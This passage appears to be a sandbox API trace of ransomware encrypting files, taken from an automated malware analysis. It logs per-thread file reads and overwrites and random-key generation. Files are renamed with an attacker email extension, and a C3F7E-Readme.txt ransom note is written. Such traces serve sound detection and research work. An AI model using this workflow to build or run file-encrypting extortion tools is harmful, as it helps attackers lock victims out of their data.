	[0078.464] WriteFile (in: hFile=0x9c8, lpBuffer=0x4897858*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xa80fd50, lpOverlapped=0x0 | out: lpBuffer=0x4897858*, lpNumberOfBytesWritten=0xa80fd50*=0x113, lpOverlapped=0x0) returned 1
	[0078.660] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4897858) returned 1
	[0078.660] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bbba0) returned 1
	[0078.660] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34208) returned 1
	[0078.660] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bbb30) returned 1
	[0078.660] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724f40) returned 1
	[0078.660] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724ea0) returned 1
	[0078.660] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724e78) returned 1
	[0078.660] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724d10) returned 1
	[0078.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986320
	[0078.660] wcscpy (in: _Dest=0x4986320, _Source="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml"
	[0078.660] wcscat (in: _Dest=0x4986320, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.660] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa80fd08, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a268
	[0078.661] NtSetInformationFile (FileHandle=0x9c8, IoStatusBlock=0xa80fd00, FileInformation=0x476a268, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a268) returned 1
	[0078.717] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d098) returned 1
	[0078.717] NtQueryInformationFile (in: FileHandle=0x9c8, IoStatusBlock=0xa80fd14, FileInformation=0xa80fcec, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa80fd14, FileInformation=0xa80fcec) returned 0x0
	[0078.717] NtSetInformationFile (FileHandle=0x9c8, IoStatusBlock=0xa80fd14, FileInformation=0xa80fcec, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.718] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986320) returned 1
	[0078.718] FlushFileBuffers (hFile=0x9c8) returned 1
	[0080.063] CloseHandle (hObject=0x9c8) returned 1
	[0080.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.173] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1055\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\"
	[0080.174] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1055\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1055\\C3F7E-Readme.txt"
	[0080.174] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1055\\c3f7e-readme.txt")) returned 0x20
	[0080.174] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.174] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47335f8) returned 1

Thread:
	id = 212
	os_tid = 0x370

	[0076.204] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80
	[0076.209] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0076.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b4
	[0076.209] GetFileSizeEx (in: hFile=0x9b4, lpFileSize=0xa88fde4 | out: lpFileSize=0xa88fde4*=5827) returned 1
	[0076.209] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x16bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.209] ReadFile (in: hFile=0x9b4, lpBuffer=0xa88fd68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa88fd64, lpOverlapped=0x0 | out: lpBuffer=0xa88fd68*, lpNumberOfBytesRead=0xa88fd64*=0x4, lpOverlapped=0x0) returned 1
	[0076.210] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.210] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724f18
	[0076.210] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724ec8
	[0076.210] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724e28
	[0076.211] NtQuerySystemTime (in: CurrentTime=0xa88fd44 | out: CurrentTime=0xa88fd44*=132251868029502673) returned 0x0
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0xa3442011
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x2997deab
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x874fdb2a
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0xc34bdf89
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x4fecaff3
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x3cc88b3e
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x27235695
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0xf702cdb7
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0xfaf3bc62
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0xda47777
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x4cb856c2
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x6f9c668a
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0xbc9e8b8c
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0xe247b7c0
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x238c4dd1
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x92fb2aee
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x851f4da
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0xce5bf446
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x7ed66bc6
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x813ed6da
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x9baccd5b
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0xa99be6b5
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x24825c31
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x7cc4d61e
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0xd9341851
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0xbf23d532
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0xd1fa36ca
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x217c21d6
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0xb65fa9c4
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x495f220c
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x8f1b2c0e
	[0076.211] RtlRandom (in: Seed=0xa88fd50 | out: Seed=0xa88fd50) returned 0x9008a0ef
	[0076.221] ReadFile (in: hFile=0x9b4, lpBuffer=0x4e998a0, nNumberOfBytesToRead=0x16c3, lpNumberOfBytesRead=0xa88fd40, lpOverlapped=0x0 | out: lpBuffer=0x4e998a0*, lpNumberOfBytesRead=0xa88fd40*=0x16c3, lpOverlapped=0x0) returned 1
	[0076.222] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.222] WriteFile (in: hFile=0x9b4, lpBuffer=0x4ea60a8*, nNumberOfBytesToWrite=0x16c3, lpNumberOfBytesWritten=0xa88fd3c, lpOverlapped=0x0 | out: lpBuffer=0x4ea60a8*, lpNumberOfBytesWritten=0xa88fd3c*=0x16c3, lpOverlapped=0x0) returned 1
	[0078.471] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34438
	[0078.471] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34050
	[0078.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34050) returned 1
	[0078.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ea60a8) returned 1
	[0078.473] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e998a0) returned 1
	[0078.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0078.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d739c0) returned 1
	[0078.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e34118
	[0078.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e34050
	[0078.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34280
	[0078.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x101) returned 0x4897a98
	[0078.475] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.475] WriteFile (in: hFile=0x9b4, lpBuffer=0x4897a98*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xa88fda4, lpOverlapped=0x0 | out: lpBuffer=0x4897a98*, lpNumberOfBytesWritten=0xa88fda4*=0x101, lpOverlapped=0x0) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4897a98) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34050) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34280) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34438) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724ec8) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724ef0) returned 1
	[0078.662] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724d38) returned 1
	[0078.662] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78848
	[0078.662] wcscpy (in: _Dest=0x2d78848, _Source="C:\\588bce7c90097ed212\\2052\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned="C:\\588bce7c90097ed212\\2052\\eula.rtf"
	[0078.662] wcscat (in: _Dest=0x2d78848, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.662] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa88fd5c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.662] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5d358
	[0078.662] NtSetInformationFile (FileHandle=0x9b4, IoStatusBlock=0xa88fd54, FileInformation=0x2d5d358, Length=0xa4, FileInformationClass=0xa) returned 0x0
	[0078.743] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d358) returned 1
	[0078.743] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2ad58) returned 1
	[0078.743] NtQueryInformationFile (in: FileHandle=0x9b4, IoStatusBlock=0xa88fd68, FileInformation=0xa88fd40, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa88fd68, FileInformation=0xa88fd40) returned 0x0
	[0078.743] NtSetInformationFile (FileHandle=0x9b4, IoStatusBlock=0xa88fd68, FileInformation=0xa88fd40, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.747] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78848) returned 1
	[0078.747] FlushFileBuffers (hFile=0x9b4) returned 1
	[0080.086] CloseHandle (hObject=0x9b4) returned 1
	[0080.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780918
	[0080.188] wcscpy (in: _Dest=0x4780918, _Source="C:\\588bce7c90097ed212\\2052\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\"
	[0080.188] wcscat (in: _Dest=0x4780918, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\2052\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\2052\\C3F7E-Readme.txt"
	[0080.188] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2052\\c3f7e-readme.txt")) returned 0xffffffff
	[0080.188] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\2052\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1334
	[0080.259] WriteFile (in: hFile=0x1334, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xa88fd64, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xa88fd64*=0x6f6, lpOverlapped=0x0) returned 1
	[0080.260] CloseHandle (hObject=0x1334) returned 1
	[0080.260] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780918) returned 1
	[0080.260] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730a10) returned 1

Thread:
	id = 213
	os_tid = 0x1068

	[0076.221] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80
	[0076.222] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0076.222] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9cc
	[0076.223] GetFileSizeEx (in: hFile=0x9cc, lpFileSize=0xa90fe78 | out: lpFileSize=0xa90fe78*=60684) returned 1
	[0076.223] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0xed08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.223] ReadFile (in: hFile=0x9cc, lpBuffer=0xa90fdfc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa90fdf8, lpOverlapped=0x0 | out: lpBuffer=0xa90fdfc*, lpNumberOfBytesRead=0xa90fdf8*=0x4, lpOverlapped=0x0) returned 1
	[0076.224] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.224] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724f18
	[0076.224] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724f68
	[0076.224] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724e28
	[0076.224] NtQuerySystemTime (in: CurrentTime=0xa90fdd8 | out: CurrentTime=0xa90fdd8*=132251868029658819) returned 0x0
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x6607dc4f
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x20ffa775
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x4aab5fa6
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xbc0b3ac2
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x59bf418d
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x501f2df3
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xeb505ed6
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xff5334e5
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xdfdad0e9
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xe4b2724a
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xf7716e50
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xd5962c6e
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x999c1dcd
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x7565d946
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x1e443d59
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xe73dd49a
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xc72f7a25
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x55a85080
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x3ce1849
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x7e8af360
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xc213546
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xd2c29193
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xdb239473
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x11a995b4
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xce5dc62c
	[0076.224] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xc027dcf2
	[0076.225] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x2d84fd04
	[0076.225] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0xf432f84b
	[0076.225] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x582dd909
	[0076.225] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x70703613
	[0076.225] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x32c6158
	[0076.225] RtlRandom (in: Seed=0xa90fde4 | out: Seed=0xa90fde4) returned 0x23ecc642
	[0076.233] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.233] ReadFile (in: hFile=0x9cc, lpBuffer=0x4eb28b0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa90fdb8, lpOverlapped=0x0 | out: lpBuffer=0x4eb28b0*, lpNumberOfBytesRead=0xa90fdb8*=0xc800, lpOverlapped=0x0) returned 1
	[0076.235] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73a50
	[0076.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04e28
	[0076.235] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724f18
	[0076.235] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724f18) returned 1
	[0076.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ebf0b8
	[0076.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724d60
	[0076.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724db0
	[0076.239] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724db0) returned 1
	[0076.239] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04e28) returned 1
	[0076.239] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73a50) returned 1
	[0076.239] WriteFile (in: hFile=0x9cc, lpBuffer=0x4ebf0b8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa90fdb8, lpOverlapped=0x0 | out: lpBuffer=0x4ebf0b8*, lpNumberOfBytesWritten=0xa90fdb8*=0xc800, lpOverlapped=0x0) returned 1
	[0078.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebf0b8) returned 1
	[0078.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eb28b0) returned 1
	[0078.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47bbbd8
	[0078.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x498e888
	[0078.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34230
	[0078.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4897978
	[0078.470] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.470] WriteFile (in: hFile=0x9cc, lpBuffer=0x4897978*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xa90fe38, lpOverlapped=0x0 | out: lpBuffer=0x4897978*, lpNumberOfBytesWritten=0xa90fe38*=0x113, lpOverlapped=0x0) returned 1
	[0078.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4897978) returned 1
	[0078.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e888) returned 1
	[0078.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34230) returned 1
	[0078.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bbbd8) returned 1
	[0078.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724d60) returned 1
	[0078.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724f68) returned 1
	[0078.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724cc0) returned 1
	[0078.661] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724d88) returned 1
	[0078.661] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986710
	[0078.661] wcscpy (in: _Dest=0x4986710, _Source="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml"
